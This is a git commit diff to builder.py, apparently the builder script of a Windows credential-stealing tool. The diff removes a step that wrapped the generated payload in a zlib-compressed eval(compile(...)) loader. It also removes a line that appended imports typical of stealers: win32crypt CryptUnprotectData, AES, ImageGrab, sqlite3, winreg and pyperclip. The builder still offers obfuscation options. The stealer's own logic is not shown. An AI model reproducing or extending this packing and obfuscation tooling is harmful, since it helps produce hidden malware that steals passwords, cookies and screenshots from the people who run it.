Update builder.py
This commit is contained in:
parent
dfe024295f
commit
7a61ea2e32
20
builder.py
20
builder.py
|
@ -6,7 +6,6 @@ import sys
|
|||
import time
|
||||
from json import load
|
||||
from urllib.request import urlopen
|
||||
from zlib import compress
|
||||
|
||||
import requests
|
||||
from alive_progress import alive_bar
|
||||
|
@ -617,21 +616,7 @@ class Builder:
|
|||
time.sleep(2)
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
|
||||
|
||||
with open(f"{filename}.py", mode='rb') as f:
|
||||
content = f.read()
|
||||
|
||||
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Compressing Code...{Fore.RESET}")
|
||||
|
||||
original_size = len(content)
|
||||
content = self.compress(content)
|
||||
new_size = len(content)
|
||||
|
||||
with open(file= (filename.split('\\')[-1] if '\\' in filename else filename.split('/')[-1]) + '.py', mode='w', encoding='utf-8') as f:
|
||||
f.write(content)
|
||||
if self.obfuscation == 'no' and self.compy == 'yes':
|
||||
f.write("\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData")
|
||||
|
||||
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Old file size: {original_size} bytes - New file size: {new_size} bytes {Fore.RESET}")
|
||||
|
||||
|
||||
if self.obfuscation == 'yes' and self.compy == 'yes':
|
||||
self.encryption(f"{filename}")
|
||||
|
@ -643,9 +628,6 @@ class Builder:
|
|||
else:
|
||||
pass
|
||||
|
||||
def compress(self, content):
|
||||
compressed_code = compress(content)
|
||||
return f"eval(compile(__import__('zlib').decompress({compressed_code}),filename='auoiwhgoawhg',mode='exec'))"
|
||||
|
||||
def encryption(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
|
||||
|
|
Loading…
Reference in New Issue